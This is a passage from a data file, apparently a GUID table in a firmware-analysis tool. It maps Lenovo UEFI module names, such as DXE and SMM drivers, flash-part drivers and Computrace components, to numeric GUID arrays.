"LENOVO_SYSTEM_PS2_MOUSE_DXE_GUID": [539634446, 39473, 18450, 178, 145, 135, 71, 223, 21, 36, 57], + "LENOVO_SMART_CARD_DETECT_DXE_GUID": [582945669, 20147, 18331, 169, 233, 165, 247, 207, 204, 167, 135], + "LENOVO_PLATFORM_FLASH_DXE_GUID": [590885754, 18352, 19521, 156, 167, 1, 96, 251, 148, 223, 244], + "LENOVO_MX25_L3206_EFLASH_PART_SMM_GUID": [596469069, 42669, 16840, 163, 27, 103, 163, 32, 134, 37, 195], + "LENOVO_TPM_ENABLER_DXE_GUID": [601439914, 1827, 17753, 183, 104, 94, 34, 223, 118, 45, 228], + "LENOVO_SYSTEM_USB_SUPPORT_POLICY_SMM_GUID": [604377783, 41059, 4564, 154, 58, 0, 144, 39, 63, 193, 76], + "LENOVO_SYSTEM_USB_BUS_DXE_GUID": [604377783, 41059, 4564, 154, 58, 0, 144, 39, 63, 193, 77], + "LENOVO_SYSTEM_USB_SUPPORT_POLICY_DXE_GUID": [604377783, 41059, 4564, 154, 58, 0, 144, 39, 63, 193, 78], + "LENOVO_SMM_OEMINT15_GUID": [607947914, 48080, 19113, 190, 23, 207, 155, 88, 49, 48, 236], + "LENOVO_SYSTEM_STATUS_CODE_GENERIC_RT_GUID": [611294986, 4579, 17818, 174, 6, 55, 43, 220, 77, 232, 6], + "LENOVO_CRYPT_SERVICE_GUID": [626323294, 51658, 19016, 157, 148, 36, 158, 177, 232, 124, 45], + "LENOVO_TCG_SERVICES_DXE_GUID": [636784743, 42587, 18677, 187, 190, 53, 65, 140, 72, 136, 54], + "LENOVO_FDISK_OEM_GUID": [652065439, 23309, 20096, 134, 178, 128, 218, 228, 208, 27, 14], + "LENOVO_PCH_SPI_SMM_GUID": [670339451, 42759, 19117, 150, 118, 38, 223, 22, 140, 191, 13], + "LENOVO_IVB_GOP_DRIVER_GUID": [682992732, 52317, 16929, 157, 255, 134, 176, 244, 45, 220, 1], + "LENOVO_SYSTEM_STATUS_CODE_PORT80_RT_GUID": [698459927, 14057, 18912, 179, 129, 234, 59, 95, 247, 9, 66], + "LENOVO_W25_Q64_FLASH_PART_DXE_GUID": [708977825, 9737, 16551, 136, 226, 166, 141, 192, 241, 209, 128], + "LENOVO_SYSTEM_USB_MEMORY_MANAGER_SMM_GUID": [717954629, 57252, 20467, 143, 129, 145, 247, 215, 135, 210, 45], + "LENOVO_SYSTEM_ACPI_S3_SAVE_DXE_GUID": [736024197, 63283, 17759, 168, 64, 67, 162, 43, 121, 31, 179], + "LENOVO_SA_LATE_INIT_SMM_GUID": [756954652, 31551, 19733, 139, 31, 102, 229, 81, 250, 189, 199], + "LENOVO_SYSTEM_USB_MOUSE_DXE_GUID": [758014634, 40655, 17335, 130, 25, 148, 231, 252, 113, 61, 254], + "LENOVO_SYSTEM_USB_KB_DXE_GUID": [758014671, 40655, 17335, 130, 25, 148, 231, 252, 113, 61, 254], + "LENOVO_PLATFORM_DXE_GUID": [762263487, 39676, 19109, 160, 38, 50, 178, 252, 243, 15, 185], + "LENOVO_PCH_BIOS_WRITE_PROTECT_GUID": [786963147, 25778, 16814, 134, 53, 112, 48, 209, 108, 74, 168], + "LENOVO_TP_ACPI_NVS_INIT_DXE_GUID": [807013315, 47638, 18937, 133, 139, 222, 224, 95, 145, 231, 184], + "LENOVO_SNB_GOP_DRIVER_GUID": [823145156, 39078, 19974, 140, 3, 216, 21, 253, 31, 231, 9], + "LENOVO_SYSTEM_USB_DATABASE_SMM_GUID": [828477649, 24136, 19477, 172, 114, 55, 83, 47, 58, 30, 193], + "LENOVO_SYSTEM_FORM_BROWSER_CORE_DXE_GUID": [843328777, 7441, 20007, 138, 171, 144, 254, 106, 203, 4, 137], + "LENOVO_BIOS_EXTENSION_LOADER_GUID": [851560952, 54591, 16840, 148, 208, 246, 115, 159, 35, 16, 17], + "LENOVO_SYSTEM_HII_DATABASE_DXE_GUID": [881610082, 49085, 18562, 158, 206, 200, 11, 177, 196, 120, 59], + "LENOVO_ATP_DXE_GUID": [886382265, 30427, 19631, 148, 174, 147, 72, 86, 232, 149, 246], + "LENOVO_DXE_MAIN_GUID": [901290186, 46761, 18894, 140, 114, 144, 71, 53, 204, 73, 183], + "LENOVO_SYSTEM_SPLASH_DXE_GUID": [923302804, 61249, 18807, 147, 226, 63, 106, 223, 221, 6, 225], + "LENOVO_SYSTEM_IMAGE_DISPLAY_DXE_GUID": [924820664, 32834, 20182, 173, 167, 169, 135, 189, 44, 223, 10], + "LENOVO_SYSTEM_RTC_RT_GUID": [932019045, 36265, 18291, 182, 228, 164, 120, 38, 168, 51, 225], + "LENOVO_SYSTEM_IDE_ATA_ATAPI_PASS_THRU_DXE_GUID": [933285920, 52433, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_SETUP_MAIN_DXE_GUID": [934268757, 11916, 18210, 185, 80, 180, 139, 145, 101, 197, 107], + "LENOVO_ME_PCI_UPDATE_GUID": [937281513, 31773, 19995, 178, 203, 78, 213, 209, 37, 39, 179], + "LENOVO_PHX_GOP_DXE_GUID": [938270500, 33875, 18282, 171, 88, 244, 207, 139, 254, 103, 66], + "LENOVO_MX25_L64_XFLASH_PART_DXE_GUID": [949109979, 15726, 20048, 131, 93, 90, 119, 90, 50, 93, 137], + "LENOVO_AOAC_SMM_GUID": [975891559, 30648, 16558, 146, 129, 3, 81, 156, 158, 127, 8], + "LENOVO_SYSTEM_HII_IMAGE_DISPLAY_DXE_GUID": [1007992985, 12611, 18159, 175, 24, 222, 74, 210, 195, 167, 153], + "LENOVO_SYSTEM_PS2_KEYBOARD_DXE_GUID": [1036526454, 25467, 16550, 168, 252, 165, 101, 65, 127, 44, 56], + "LENOVO_REBOOT_CP_GUID": [1039934815, 40070, 18620, 151, 45, 229, 34, 83, 55, 104, 219], + "LENOVO_SYSTEM_CRYPT_SVC_RT_GUID": [1044688137, 55435, 19538, 180, 27, 184, 192, 5, 54, 71, 74], + "LENOVO_PLATFORM_PCI_DXE_GUID": [1064784879, 54127, 17868, 138, 26, 46, 170, 255, 16, 56, 182], + "LENOVO_FIT_DIAGNOSTICS_LOADER_GUID": [1065247067, 3397, 20352, 136, 220, 38, 178, 52, 149, 133, 96], + "LENOVO_IBEX_PEAK_GLOBAL_SMI_CONTROL_GUID": [1069045413, 51376, 18272, 180, 154, 46, 221, 79, 163, 91, 250], + "LENOVO_VPRO_IDER_ASF_BOOT_GUID": [1075081700, 40569, 18020, 191, 176, 23, 149, 36, 35, 5, 103], + "LENOVO_SYSTEM_CON_SPLITTER_DXE_GUID": [1083104492, 53101, 18300, 165, 168, 180, 132, 78, 61, 226, 129], + "LENOVO_I_FFS_SMM_GUID": [1125591121, 53118, 17221, 159, 224, 215, 1, 43, 177, 123, 136], + "LENOVO_SYSTEM_PARTITION_DXE_GUID": [1136210482, 44990, 4564, 189, 15, 0, 128, 199, 60, 136, 129], + "LENOVO_MAIL_BOX_DXE_GUID": [1136369323, 32087, 19951, 176, 162, 163, 169, 249, 198, 234, 227], + "LENOVO_VARIABLE_INIT_SMM_GUID": [1154448672, 57334, 16905, 154, 31, 246, 205, 95, 92, 232, 139], + "LENOVO_SYSTEM_AHCI_ATA_ATAPI_PASS_THRU_DXE_GUID": [1156724112, 56456, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_COMPUTRACE_LOADER_DXE_GUID": [1166658547, 1017, 18840, 157, 111, 38, 52, 60, 105, 86, 42], + "LENOVO_SYSTEM_CMOS_SMM_GUID": [1188605149, 10691, 16403, 129, 232, 55, 164, 37, 171, 79, 153], + "LENOVO_MISC_GA_IO_DXE_GUID": [1246898131, 3055, 19626, 172, 189, 236, 132, 68, 108, 92, 108], + "LENOVO_AT24_RF08_EEPROM_SMM_GUID": [1265312161, 62059, 16463, 134, 148, 219, 28, 99, 161, 217, 42], + "LENOVO_SECURITY_SMI_DISPATCH_GUID": [1283265896, 53107, 18038, 160, 121, 22, 247, 249, 96, 12, 204], + "LENOVO_SYSTEM_PPIS_NEEDED_BY_DXE_CORE_GUID": [1295505986, 14860, 20186, 185, 235, 188, 14, 29, 180, 113, 59], + "LENOVO_SYSTEM_ERROR_LOG_SMM_GUID": [1298314729, 29128, 16682, 134, 4, 135, 140, 146, 29, 154, 209], + "LENOVO_VPRO_HII_DXE_GUID": [1322172828, 28255, 18453, 131, 66, 181, 95, 44, 197, 223, 193], + "LENOVO_COMPUTRACE_ENABLER_DXE_GUID": [1325158874, 9126, 18320, 162, 146, 73, 133, 199, 245, 205, 239], + "LENOVO_EN25_QH64_FLASH_PART_SMM_GUID": [1344002362, 61865, 20300, 169, 70, 120, 103, 223, 151, 85, 55], + "LENOVO_PCH_EMULATE_KBC_GUID": [1359302880, 48078, 20159, 187, 160, 148, 110, 61, 24, 231, 5], + "LENOVO_SYSTEM_SMBIOS_EVENT_LOG_DXE_GUID": [1360175786, 57717, 18302, 164, 228, 208, 183, 230, 137, 186, 159], + "LENOVO_HPM_SMM_GUID": [1364927051, 45145, 17931, 133, 199, 194, 134, 88, 244, 184, 152], + "LENOVO_SYSTEM_CRC32_SECTION_EXTRACT_DXE_GUID": [1372189708, 21059, 17523, 178, 101, 179, 200, 255, 175, 249, 250], + "LENOVO_SYSTEM_CON_PLATFORM_DXE_GUID": [1372386201, 20447, 20053, 164, 91, 225, 35, 248, 77, 69, 106], + "LENOVO_PLATFORM_S3_SAVE_DXE_GUID": [1372895948, 59146, 16694, 148, 38, 84, 105, 115, 237, 147, 140], + "LENOVO_TDT_AM_GUID": [1376754776, 40861, 18630, 160, 160, 217, 254, 109, 143, 222, 119], + "LENOVO_ARP_DXE_BIN_GUID": [1386037139, 59625, 20083, 177, 225, 189, 246, 169, 213, 1, 19], + "LENOVO_HPM_DXE_GUID": [1402833581, 50860, 17004, 182, 31, 34, 142, 109, 21, 1, 182], + "LENOVO_SYSTEM_DATA_HUB_DXE_GUID": [1404879183, 49743, 17228, 178, 148, 142, 210, 212, 204, 24, 96], + "LENOVO_SYSTEM_FLASH_COMMUNICATION_DXE_GUID": [1416286869, 3172, 19686, 160, 111, 251, 156, 208, 75, 65, 205], + "LENOVO_SYSTEM_FIRMWARE_DEVICE_SMM_GUID": [1422077119, 41913, 19662, 156, 67, 224, 89, 227, 34, 85, 223], + "LENOVO_DRIVE_ERASE_DXE_GUID": [1426260946, 61491, 17512, 133, 122, 68, 44, 16, 225, 153, 233], + "LENOVO_SMM_BASE_RUNTIME_GUID": [1431459674, 32256, 19809, 163, 164, 247, 84, 115, 81, 180, 158], + "LENOVO_DRIVE_ERASE_SMM_GUID": [1442418698, 49072, 19248, 131, 238, 127, 67, 127, 175, 174, 51], + "LENOVO_PRIOR_BOOT_GUID": [1475642899, 12298, 16641, 167, 109, 79, 115, 197, 51, 181, 184], + "LENOVO_DISK_CONTROLLER_SMBIOS_GUID": [1514093521, 47014, 16459, 160, 247, 40, 94, 27, 137, 139, 0], + "LENOVO_DXE_REALTEK_CRC_INIT_GUID": [1534379841, 19039, 19086, 182, 137, 216, 4, 171, 67, 104, 253], + "LENOVO_PLATFORM_CSM_DXE_GUID": [1541268997, 45319, 16798, 149, 16, 170, 60, 67, 78, 187, 228], + "LENOVO_SECURE_ERROR_MANAGER_DXE_GUID": [1541333558, 3253, 19846, 166, 8, 238, 123, 12, 95, 41, 86], + "LENOVO_IP6_DXE_BIN_GUID": [1542305228, 55344, 20146, 135, 66, 45, 76, 201, 181, 79, 44], + "LENOVO_SETUP_RESTART_DXE_GUID": [1567984635, 45859, 20332, 144, 23, 163, 35, 140, 230, 81, 99], + "LENOVO_SYSTEM_IMAGE_DECODER_DXE_GUID": [1600508442, 34919, 17875, 164, 26, 82, 111, 159, 226, 197, 152], + "LENOVO_SETUP_CONFIG_DXE_GUID": [1607003872, 39922, 18831, 180, 211, 197, 30, 212, 200, 123, 180], + "LENOVO_SMBIOS_COMPATI_INFO_GUID": [1616789944, 59683, 18380, 135, 177, 166, 227, 133, 38, 231, 141], + "LENOVO_SYSTEM_KBC_INIT_DXE_GUID": [1628708000, 5188, 19534, 161, 109, 182, 1, 224, 160, 148, 102], + "LENOVO_REMOTE_CONFIG_UPDATE_DXE_GUID": [1646126790, 3934, 20195, 161, 2, 11, 222, 118, 154, 10, 212], + "LENOVO_CPU_INIT_DXE_GUID": [1657893323, 30925, 17536, 134, 120, 198, 162, 167, 151, 168, 222], + "LENOVO_CPU_INIT_PHNX_DXE_GUID": [1665371246, 38684, 20032, 143, 11, 17, 9, 69, 123, 227, 51], + "LENOVO_SYSTEM_VARIABLE_SMM_GUID": [1696885307, 13295, 20350, 182, 87, 164, 166, 51, 241, 48, 176], + "LENOVO_SETUP_UNDER_OS_SMM_GUID": [1705451568, 45102, 19443, 132, 36, 186, 95, 47, 197, 109, 231], + "LENOVO_RN_RCONFIG_GUID": [1717387104, 44350, 19629, 142, 38, 219, 70, 238, 233, 241, 181], + "LENOVO_VARIABLE_DXE_GUID": [1726926656, 25362, 18970, 168, 58, 179, 178, 248, 216, 167, 26], + "LENOVO_MISC_GA_IO_SMM_GUID": [1739578975, 61206, 18360, 186, 25, 194, 27, 57, 7, 219, 241], + "LENOVO_W25_Q32_FLASH_PART_DXE_GUID": [1757163669, 34873, 19095, 143, 234, 190, 224, 110, 202, 123, 187], + "LENOVO_SYSTEM_IDE_BUS_DXE_GUID": [1778224711, 41313, 17744, 176, 26, 85, 148, 206, 178, 178, 178], + "LENOVO_OEM_MILESTONE_GUID": [1784844030, 13954, 20444, 163, 30, 198, 53, 189, 241, 140, 200], + "LENOVO_SETUP_SECURITY_DXE_GUID": [1786453126, 22798, 18343, 151, 26, 196, 155, 64, 141, 94, 215], + "LENOVO_SECURE_KEY_DXE_GUID": [1787443551, 19463, 18897, 185, 76, 34, 237, 80, 212, 37, 248], + "LENOVO_UDP4_DXE_BIN_GUID": [1835623339, 36973, 19045, 167, 202, 189, 64, 229, 214, 175, 43], + "LENOVO_N25_Q064_FLASH_PART_SMM_GUID": [1848830710, 13009, 17376, 182, 225, 220, 246, 218, 129, 223, 118], + "LENOVO_SMBIOS_VPRO_GUID": [1850878195, 37694, 18785, 149, 115, 15, 30, 97, 181, 34, 172], + "LENOVO_W25_Q64_FLASH_PART_SMM_GUID": [1852721781, 61204, 18427, 180, 58, 103, 236, 67, 184, 125, 34], + "LENOVO_SYSTEM_ISA_KBC_DXE_GUID": [1852769708, 9035, 18011, 148, 80, 195, 110, 109, 117, 102, 197], + "LENOVO_PLATFORM_FLASH_SMM_GUID": [1886133772, 17660, 16402, 155, 113, 61, 191, 236, 118, 47, 53], + "LENOVO_PI_SAVE_STATE_ACCESS_GUID": [1887124590, 39334, 19991, 132, 160, 64, 40, 76, 27, 63, 56], + "LENOVO_SYSTEM_ACPI_SUPPORT_DXE_GUID": [1903824554, 39704, 17946, 182, 236, 172, 9, 121, 76, 166, 49], + "LENOVO_SYSTEM_SETUP2_DXE_GUID": [1914473318, 17004, 20102, 142, 153, 52, 87, 196, 106, 176, 185], + "LENOVO_SYSTEM_IDE_ATA_ATAPI_PASS_THRU_SMM_GUID": [1938925920, 52433, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_SYSTEM_BOOT_MANAGER_DXE_GUID": [1943712527, 16284, 16736, 176, 100, 67, 156, 225, 108, 62, 222], + "LENOVO_BLOCK_POWER_BUTTON_DXE_GUID": [1956648660, 20043, 17845, 174, 151, 78, 110, 51, 214, 81, 37], + "LENOVO_SYSTEM_ACPI_NUMA_DXE_GUID": [1972041895, 10756, 18743, 153, 224, 131, 125, 31, 151, 199, 111], + "LENOVO_SYSTEM_ACPI_TABLE_LOADER_DXE_GUID": [2002878155, 57897, 20000, 184, 249, 223, 130, 69, 98, 77, 122], + "LENOVO_DIGITAL_THERMAL_SENSOR_SMM_GUID": [2007367838, 4462, 17997, 142, 248, 179, 82, 1, 160, 34, 221], + "LENOVO_SYSTEM_FIXED_BUS_NUMBERS_DXE_GUID": [2030029397, 18537, 17299, 190, 233, 114, 229, 139, 211, 190, 56], + "LENOVO_SYSTEM_VARIABLE_DXE_GUID": [2034024096, 55894, 18418, 130, 100, 36, 49, 12, 183, 81, 150], + "LENOVO_SYSTEM_SW_SMI_ALLOCATOR_RT_GUID": [2034634970, 53486, 18027, 129, 179, 129, 151, 33, 58, 105, 120], + "LENOVO_SYSTEM8259_INTERRUPT_CONTROLLER_DXE_GUID": [2043298312, 48033, 19098, 132, 86, 225, 230, 106, 129, 72, 78], + "LENOVO_WMA_POLICY_DXE_GUID": [2044784087, 40221, 20289, 174, 26, 248, 150, 22, 158, 82, 22], + "LENOVO_LAN_UEFI_GUID": [2046361940, 33780, 18316, 128, 191, 135, 138, 195, 46, 10, 44], + "LENOVO_POP_MANAGER_DXE_GUID": [2070879654, 59983, 18744, 167, 159, 12, 88, 225, 68, 42, 161], + "LENOVO_SYSTEM_USB_MEMORY_MANAGER_DXE_GUID": [2078746034, 62828, 16839, 159, 3, 30, 123, 86, 182, 89, 113], + "LENOVO_ATP_SMI_SERVICES_GUID": [2091593354, 47001, 17728, 133, 23, 88, 100, 77, 3, 204, 159], + "LENOVO_MODULES_SMM_THUNK_SMM_GUID": [2121356880, 4326, 19323, 137, 106, 77, 197, 252, 116, 43, 197], + "LENOVO_VPRO_PET_ALERT_GUID": [2124901688, 50554, 16685, 175, 29, 213, 139, 238, 43, 133, 177], + "LENOVO_SMM_RELOC_DXE_GUID": [2146267886, 368, 18452, 152, 120, 168, 251, 24, 100, 223, 175], + "LENOVO_IGD_CUSTOMIZE_GUID": [2167621142, 34510, 18882, 182, 249, 24, 4, 230, 28, 115, 246], + "LENOVO_SETUP_DATE_TIME_DXE_GUID": [2182649437, 8384, 19926, 129, 160, 132, 92, 82, 39, 7, 67], + "LENOVO_TRANSLATE_SERVICE_GUID": [2188103510, 47812, 17396, 142, 161, 140, 223, 10, 18, 26, 189], + "LENOVO_ME_CONFIG_GUID": [2191033376, 29799, 17552, 144, 89, 254, 180, 72, 221, 25, 99], + "LENOVO_SYSTEM_OEM_ACTIVATION_DXE_GUID": [2233099093, 52752, 20327, 157, 19, 145, 179, 40, 26, 149, 211], + "LENOVO_SYSTEM_PCI_ISA_BUS_DXE_GUID": [2253066494, 15710, 18696, 136, 204, 240, 141, 78, 220, 0, 80], + "LENOVO_LEGACY_BIOS_MISC_SMM_GUID": [2263362243, 54959, 18340, 140, 147, 12, 118, 199, 179, 204, 211], + "LENOVO_INIT_ME_POLICY_GUID": [2279811321, 37797, 17269, 186, 105, 147, 167, 167, 122, 93, 155], + "LENOVO_SETUP_AUTOMATION_SMM_GUID": [2282586559, 55944, 18913, 149, 67, 165, 130, 71, 254, 173, 26], + "LENOVO_N25_Q064_FLASH_PART_DXE_GUID": [2288700192, 30912, 20360, 157, 60, 186, 220, 227, 126, 218, 71], + "LENOVO_HDP_MANAGER_SMM_GUID": [2299999890, 39618, 19590, 158, 204, 243, 119, 130, 221, 235, 170], + "LENOVO_SYSTEM_XHCI_RESET_SYSTEM_GUID": [2388413418, 13567, 20018, 131, 88, 51, 99, 218, 1, 230, 40], + "LENOVO_NATIONAL_LPC_PC87393_GUID": [2392276867, 43978, 18916, 169, 64, 78, 173, 90, 109, 138, 30], + "LENOVO_SYSTEM_ENGLISH_DXE_GUID": [2401693450, 20351, 20043, 152, 2, 140, 34, 183, 0, 255, 172], + "LENOVO_ABSOLUTE_COMPUTRACE_INSTALLER_WIN8_GUID": [2414800113, 48381, 19064, 146, 49, 72, 1, 86, 107, 53, 103], + "LENOVO_WMA_PCI_DXE_GUID": [2430603523, 63364, 16416, 145, 172, 197, 30, 139, 245, 83, 178], + "LENOVO_DPTF_GUID": [2441787952, 15757, 19381, 184, 73, 69, 204, 79, 199, 222, 124], + "LENOVO_SYSTEM_ISA_SERIAL_DXE_GUID": [2478309379, 40883, 4564, 154, 58, 0, 144, 39, 63, 193, 77], + "LENOVO_SYSTEM_PCI_BUS_DXE_GUID": [2478309380, 40883, 4564, 154, 58, 0, 144, 39, 63, 193, 77], + "LENOVO_DHCP4_DXE_BIN_GUID": [2490582808, 3004, 18427, 150, 165, 238, 122, 90, 230, 162, 173], + "LENOVO_SYSTEM_XHCI_DXE_GUID": [2492998332, 9939, 19398, 149, 75, 242, 197, 129, 52, 45, 225], + "LENOVO_DXE_CMOS_INIT_GUID": [2512357037, 41440, 16707, 180, 135, 0, 75, 28, 46, 5, 250], + "LENOVO_TCG_SERVICES_SMM_GUID": [2512409029, 61731, 17198, 147, 131, 185, 207, 17, 63, 8, 46], + "LENOVO_DHCP6_DXE_BIN_GUID": [2514708125, 13502, 18293, 166, 81, 126, 164, 27, 105, 216, 158], + "LENOVO_SYSTEM_ENHANCED_FAT_DXE_GUID": [2517989630, 46775, 17603, 175, 53, 107, 199, 5, 205, 43, 31], + "LENOVO_SYSTEM_NULL_MEMORY_TEST_DXE_GUID": [2528493618, 57164, 19310, 130, 50, 67, 141, 207, 68, 141, 14], + "LENOVO_SMM_CF9_TRAP_GUID": [2534382554, 35068, 18764, 158, 161, 38, 65, 150, 99, 206, 17], + "LENOVO_MTFTP6_DXE_BIN_GUID": [2582657945, 39128, 18909, 168, 211, 50, 25, 208, 255, 228, 30], + "LENOVO_PLATFORM_RESET_RUNTIME_DXE_GUID": [2593820971, 24403, 17798, 136, 32, 112, 68, 133, 162, 157, 33], + "LENOVO_SYSTEM_DEVICE_PATH_DXE_GUID": [2607288270, 44395, 20282, 182, 11, 245, 152, 153, 0, 52, 67], + "LENOVO_SMM_CORE_DISPATCHER_GUID": [2630180221, 64511, 17180, 188, 20, 51, 78, 174, 166, 5, 43], + "LENOVO_MEBX_GUID": [2633859116, 2465, 17366, 130, 23, 170, 73, 193, 249, 13, 44], + "LENOVO_EN25_QH128_FLASH_PART_DXE_GUID": [2639791502, 51421, 19103, 177, 118, 223, 203, 146, 53, 72, 21], + "LENOVO_ISSC_DXE_GUID": [2640230712, 39492, 17768, 129, 146, 193, 86, 59, 235, 170, 1], + "LENOVO_SYSTEM_TERMINAL_DXE_GUID": [2659596550, 41999, 18549, 151, 127, 91, 147, 255, 35, 127, 198], + "LENOVO_SYSTEM_CAPSULE_RT_GUID": [2661670671, 41820, 18625, 186, 201, 246, 52, 82, 180, 124, 62], + "LENOVO_PCH_CONFIG_GUID": [2678257669, 15750, 17084, 169, 195, 43, 38, 165, 223, 9, 249], + "LENOVO_IP4_DXE_BIN_GUID": [2679218675, 15217, 17188, 179, 154, 116, 92, 187, 1, 95, 255], + "LENOVO_SYSTEM_USB_MASS_STORAGE_DXE_GUID": [2679420071, 17088, 19405, 133, 64, 155, 204, 103, 17, 248, 62], + "LENOVO_SYSTEM_ERROR_LOG_DXE_GUID": [2711009863, 36563, 16776, 167, 101, 250, 150, 77, 215, 237, 122], + "LENOVO_DPC_DXE_BIN_GUID": [2719021427, 8861, 20301, 170, 55, 152, 149, 230, 201, 234, 186], + "LENOVO_SNP_DXE_BIN_GUID": [2733913834, 41255, 20216, 149, 124, 128, 72, 96, 111, 246, 112], + "LENOVO_SECURE_UPDATE_DXE_GUID": [2761067649, 1795, 19159, 163, 43, 117, 37, 188, 63, 225, 245], + "LENOVO_OEM_HOOK_SMM_GUID": [2763630598, 46452, 17236, 191, 199, 5, 33, 125, 192, 250, 244], + "LENOVO_PLATFORM_SETUP_DXE_GUID": [2767360156, 24106, 17290, 145, 186, 39, 43, 9, 35, 4, 154], + "LENOVO_MX25_L3206_EFLASH_PART_DXE_GUID": [2768044243, 33306, 17689, 133, 187, 46, 25, 135, 166, 244, 225], + "LENOVO_SYSTEM_ACPI_TABLES_DXE_GUID": [2791868560, 49136, 20227, 155, 30, 118, 174, 134, 238, 197, 171], + "LENOVO_SM_BIOS_HOLE_GUID": [2795618352, 63830, 19102, 149, 64, 208, 232, 29, 46, 51, 242], + "LENOVO_SYSTEM_DIAGNOSTIC_SPLASH_SCREEN_APP_GUID": [2816006566, 27312, 19179, 173, 157, 22, 62, 89, 167, 163, 128], + "LENOVO_PCI_EXPRESS_GUID": [2828978400, 2977, 16554, 160, 62, 171, 221, 165, 41, 92, 222], + "LENOVO_SYSTEM_SECURE_BOOT_DXE_GUID": [2840226543, 54939, 16400, 186, 36, 249, 30, 31, 230, 42, 218], + "LENOVO_PROMPT_SERVICE_GUID": [2855807077, 4784, 17637, 167, 49, 109, 239, 77, 243, 76, 231], + "LENOVO_SYSTEM_FORM_BROWSER_SIMPLE_TEXT_VIEW_LAYOUT_DXE_GUID": [2866782636, 59683, 18035, 177, 184, 113, 74, 216, 73, 247, 144], + "LENOVO_SMM_RELOC_PEIM_GUID": [2880917328, 64813, 16498, 163, 33, 202, 252, 114, 151, 126, 250], + "LENOVO_SYSTEM_FRAMEWORK_HII_DATABASE_DXE_GUID": [2889102779, 45523, 20216, 149, 124, 128, 72, 96, 111, 246, 113], + "LENOVO_INIT_VPRO_POLICY_GUID": [2891520473, 61751, 20359, 134, 159, 216, 99, 237, 168, 142, 210], + "LENOVO_VARIABLE_INIT_DXE_GUID": [2892033439, 21054, 20315, 148, 202, 57, 97, 52, 106, 0, 186], + "LENOVO_VPRO_MEBX_HOTKEY_GUID": [2893010282, 15681, 20221, 161, 185, 135, 2, 147, 129, 26, 40], + "LENOVO_EN25_QH64_FLASH_PART_DXE_GUID": [2896228620, 1225, 19534, 157, 123, 183, 160, 151, 245, 225, 236], + "LENOVO_PCH_PCIE_SMM_GUID": [2897128058, 49209, 17444, 136, 218, 244, 34, 18, 234, 14, 85], + "LENOVO_SYSTEM_MONOTONIC_COUNTER_RT_GUID": [2908783218, 53375, 18788, 128, 30, 123, 211, 183, 136, 134, 82], + "LENOVO_INCOMPATIBLE_PCI_DEVICE_GUID": [2909832542, 3269, 19135, 137, 121, 190, 118, 42, 148, 158, 163], + "LENOVO_PCH_RESET_GUID": [2941907701, 24104, 19971, 128, 226, 71, 39, 84, 90, 248, 17], + "LENOVO_AOAC_DXE_GUID": [2996974341, 37973, 18588, 170, 129, 33, 219, 72, 196, 30, 171], + "LENOVO_SYSTEM_AHCI_BUS_SMM_GUID": [3005214816, 33635, 4575, 131, 149, 8, 0, 32, 12, 154, 102], + "LENOVO_SYSTEM_RUNTIME_DXE_GUID": [3053582532, 17335, 18308, 149, 177, 244, 34, 108, 180, 12, 238], + "LENOVO_MEBX_SETUP_BROWSER_GUID": [3056532411, 14627, 19641, 166, 232, 219, 129, 142, 130, 138, 128], + "LENOVO_OS_OPT_DEFAULT_DXE_GUID": [3057565518, 53654, 16570, 171, 99, 31, 169, 166, 6, 142, 132], + "LENOVO_SOUND_SERVICE_GUID": [3059315134, 47807, 18925, 157, 210, 72, 236, 141, 180, 171, 211], + "LENOVO_I_FFS_DXE_GUID": [3065588063, 51903, 19692, 187, 20, 254, 66, 70, 242, 23, 58], + "LENOVO_SYSTEM_SMM_COMMUNICATION_SMM_GUID": [3075191674, 60578, 20345, 165, 68, 144, 86, 154, 190, 107, 153], + "LENOVO_USER_MANAGER_DXE_GUID": [3097946053, 47357, 16988, 166, 126, 16, 9, 223, 31, 16, 181], + "LENOVO_UEFI_PXE_BC_DXE_BIN_GUID": [3109986266, 9950, 18642, 136, 7, 31, 145, 7, 172, 94, 58], + "LENOVO_BOARD_INFO_DXE_GUID": [3114529140, 6966, 19180, 153, 226, 242, 133, 94, 180, 195, 222], + "LENOVO_SYSTEM_FLASH_COMMUNICATION_SMM_GUID": [3117071003, 58821, 16860, 134, 226, 231, 206, 248, 123, 129, 203], + "LENOVO_SMBIOS_TCG_DXE_GUID": [3120117304, 13813, 17533, 185, 8, 162, 184, 82, 170, 11, 137], + "LENOVO_CPU_IO_GUID": [3135723935, 15467, 17335, 189, 240, 156, 224, 122, 169, 26, 166], + "LENOVO_OS_OPT_DEFAULT_SMM_GUID": [3136301472, 45811, 17902, 139, 82, 212, 2, 23, 123, 230, 184], + "LENOVO_SYSTEM_AHCI_ATA_ATAPI_PASS_THRU_SMM_GUID": [3166018704, 56454, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_SYSTEM_ERROR_MENU_DXE_GUID": [3177658028, 45350, 20458, 157, 29, 23, 77, 74, 137, 159, 34], + "LENOVO_SYSTEM_EHCI_DXE_GUID": [3187557134, 36650, 19888, 153, 145, 111, 133, 101, 148, 119, 126], + "LENOVO_STATUS_CODE_ME_DEBUG_DXE_GUID": [3212038847, 44172, 19843, 163, 185, 74, 15, 66, 0, 116, 179], + "LENOVO_SYSTEM_TEXT_CONSOLE_VGA_DXE_GUID": [3213488397, 45573, 18255, 150, 227, 122, 123, 177, 180, 164, 7], + "LENOVO_MAIL_BOX_SMM_GUID": [3220075714, 24765, 18043, 146, 97, 183, 42, 136, 30, 73, 238], + "LENOVO_SMM_FDISK_OEM_GUID": [3229404412, 46271, 18992, 162, 95, 31, 87, 192, 82, 38, 41], + "LENOVO_SYSTEM_STATUS_CODE_PORT80_SMM_GUID": [3234851723, 28385, 17467, 188, 201, 133, 78, 124, 155, 65, 109], + "LENOVO_PCH_SPI_RUNTIME_GUID": [3247752938, 46732, 18817, 182, 75, 155, 210, 113, 71, 75, 32], + "LENOVO_SMM_ASL_SMI_GUID": [3287170800, 25574, 20313, 164, 55, 175, 166, 60, 70, 200, 53], + "LENOVO_VARIABLE_DEFAULT_GUID": [3332108939, 5827, 17231, 164, 164, 41, 43, 219, 15, 77, 18], + "LENOVO_PCH_S3_SUPPORT_GUID": [3354040199, 51722, 17332, 177, 229, 37, 239, 135, 57, 31, 141], + "LENOVO_SVP_MANAGER_DXE_GUID": [3356403955, 41929, 16933, 170, 96, 118, 157, 212, 199, 78, 67], + "LENOVO_SYSTEM_DIAGNOSTIC_SUMMARY_SCREEN_DXE_GUID": 